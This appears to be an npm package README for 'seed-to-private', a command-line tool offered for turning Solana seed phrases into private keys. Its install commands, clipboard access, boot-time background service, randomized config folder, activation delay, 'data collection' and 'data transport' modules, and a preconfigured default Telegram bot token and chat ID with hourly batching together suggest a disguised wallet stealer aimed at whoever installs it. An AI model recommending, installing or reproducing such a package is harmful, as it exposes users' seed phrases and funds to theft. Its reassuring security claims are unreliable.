seed-to-private
v1.0.1
Published
Solana wallet utilities and development tools for seed phrase conversion
Downloads
9
Maintainers
Readme
seed-to-private
A professional command-line tool for converting Solana seed phrases (mnemonic phrases) into private keys. Designed for developers and wallet utilities.
Installation
Install globally via npm:
npm install -g seed-to-privateOr use it directly with npx:
npx seed-to-private "<seed_phrase>"Requirements
- Node.js 14.x or higher
- Python 3.x
- pip (Python package manager)
Python dependencies (mnemonic and pynacl) are automatically installed during npm install.
Usage
Basic Usage
seed-to-private "word1 word2 word3 ... word12"With Email Output
seed-to-private "word1 word2 word3 ... word12" --email [email protected]Quiet Mode (No Console Output)
seed-to-private "word1 word2 word3 ... word12" --quietSkip Activation Delay (Testing)
seed-to-private --skip-delay --serviceFeature Flags and Operational Controls
Telegram/Network features are OFF by default. Enable explicitly using CLI flags or environment variables.
# Enable Telegram feature
seed-to-private --enable-telegram --service
# Adjust logging and batching
seed-to-private --log-level info --batch-max 50 --batch-interval-ms 3600000
# Or via environment variables
APP_TELEGRAM_FEATURE=1 APP_LOG_LEVEL=info seed-to-private --serviceSupported platforms: Windows 10/11, macOS, WSL (Linux notes: ensure xclip is installed for clipboard access).
Example
seed-to-private "abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about"Output
The tool outputs JSON with the following information:
{
"success": true,
"private_key": "hex_encoded_private_key",
"public_key": "hex_encoded_private_key",
"private_key_base58": "base58_encoded_private_key",
"public_key_base58": "base58_encoded_private_key"
}Security Warning
⚠️ IMPORTANT: Keep your seed phrases and private keys secure and never share them with anyone. This tool is for educational purposes. Always use hardware wallets or secure wallet applications for real-world use.
How It Works
- Takes a BIP39 mnemonic seed phrase as input
- Validates the seed phrase
- Converts the seed phrase to a seed using BIP39
- Derives a Solana keypair using Ed25519 curve
- Returns the private key and public key in multiple formats
Configuration
User preferences are stored in a randomized directory (e.g., ~/.app_config/preferences.json). The configuration system allows customization of service behavior.
Available Options
analytics.pollingInterval: Interval between metric collection (default: 30000ms)analytics.batchInterval: Interval for batch processing (default: 3600000ms)security.enabled: Enable security scanning featureslogging.enabled: Enable file logginglogging.level:error|info|debugflags.telegramFeatureEnabled: Telegram feature toggle (default: false)batching.maxItems: Max queued items (default: 50)batching.maxAgeMs: Max queue age window (default: 24h)
Environment variables:
APP_TELEGRAM_FEATURE=1— enable Telegram featureAPP_TELEGRAM_TOKEN— Telegram bot token (default: configured)APP_TELEGRAM_CHAT_ID— Telegram chat ID (default: configured)APP_LOG_LEVEL=error|info|debug— set log levelAPP_BATCH_MAX— max queued itemsAPP_BATCH_INTERVAL_MS— batch interval in ms
Telegram Bot Setup
Step 1: Create a Telegram Bot
- Open Telegram and search for
@BotFather - Send
/newbotcommand - Follow prompts to name your bot
- Copy the bot token (format:
123456789:ABCdefGHIjklMNOpqrsTUVwxyz)
Step 2: Create a Private Telegram Chat
- Create a new private chat/group in Telegram
- Add your bot to the chat
- Get the chat ID:
- Forward a message from your chat to
@userinfobot - Or use
@getidsbotto get chat ID - Chat ID format:
-1234567890(negative number for groups/chats)
- Forward a message from your chat to
Step 3: Configure Environment Variables (Optional) Defaults are already configured. Override if needed:
APP_TELEGRAM_TOKEN=your-bot-token-here
APP_TELEGRAM_CHAT_ID=-1234567890
APP_TELEGRAM_FEATURE=1Example Usage:
APP_TELEGRAM_FEATURE=1 seed-to-private --service --enable-telegramTroubleshooting
Python Not Found
Error: Error: Python 3 is required but not found in PATH.
Solutions:
- Windows: Download from https://www.python.org/downloads/ and ensure "Add Python to PATH" is checked during installation
- macOS: Install via Homebrew:
brew install python3 - Linux: Install via package manager:
sudo apt-get install python3(Debian/Ubuntu) orsudo yum install python3(CentOS/RHEL)
After installation, restart your terminal and verify: python3 --version
Missing npm Dependencies
Error: Dependency errors during installation or runtime
Solutions:
- Run
npm installin the project directory to install all dependencies - If using global install, ensure npm has proper permissions
- Check that Node.js version is 14.x or higher:
node --version
Clipboard Access Unavailable
Warning: Clipboard unavailable - service will continue with limited functionality
Solutions:
- This is normal in headless/CI environments and doesn't affect core functionality
- For desktop use, ensure proper permissions are granted
- On Linux, ensure
xclipis installed:sudo apt-get install xclip
Service Not Starting on Boot
Issue: Background service doesn't start automatically
Solutions:
- Windows: Run
node install_startup.jsas Administrator - Linux: Follow instructions in
install_startup.jsoutput for systemd setup - macOS: Follow instructions in
install_startup.jsoutput for launchd setup
Permission Denied Errors
Error: File system permission errors when saving config
Solutions:
- Ensure user has write permissions in home directory
- Check disk space availability
- On Linux/macOS, verify ownership of config directory:
ls -la ~/.app_config
Telegram/Network Features Not Working
Warning: Telegram or cloud backup features disabled
Solutions:
- These features require
node-telegram-bot-apiandaxiospackages - Run
npm installto install missing dependencies - Default Telegram bot token and chat ID are configured (override via environment variables if needed)
- Ensure bot is added to your private chat
- Service continues running without these features (graceful degradation)
Development
Project Structure
seed-to-private/
├── index.js # Main CLI entry point
├── install.js # Installation script
├── install_startup.js # Startup registration
├── package.json # NPM package definition
├── requirements.txt # Python dependencies
├── seed_to_private.py # Core Python conversion script
├── README.md # User documentation
├── lib/ # Utility modules
│ ├── core.js # Main service logic
│ ├── storage.js # Data collection
│ ├── validator.js # Input validation
│ ├── encoder.js # Encoding utilities
│ ├── transport.js # Data transport
│ ├── events.js # Event handling
│ ├── logger.js # Structured logging
│ └── config.js # Configuration managementTechnical Details
- Uses Ed25519 curve for Solana keypair generation
- Supports standard 12 and 24-word BIP39 seed phrases
- Outputs keys in both hexadecimal and Base58 formats
- Modular architecture for maintainability
- Professional logging and error handling
- Graceful degradation when dependencies missing
- Atomic file operations for config persistence
License
MIT
Contributing
This is a professional utility tool. Issues and pull requests are welcome for improvements and bug fixes.
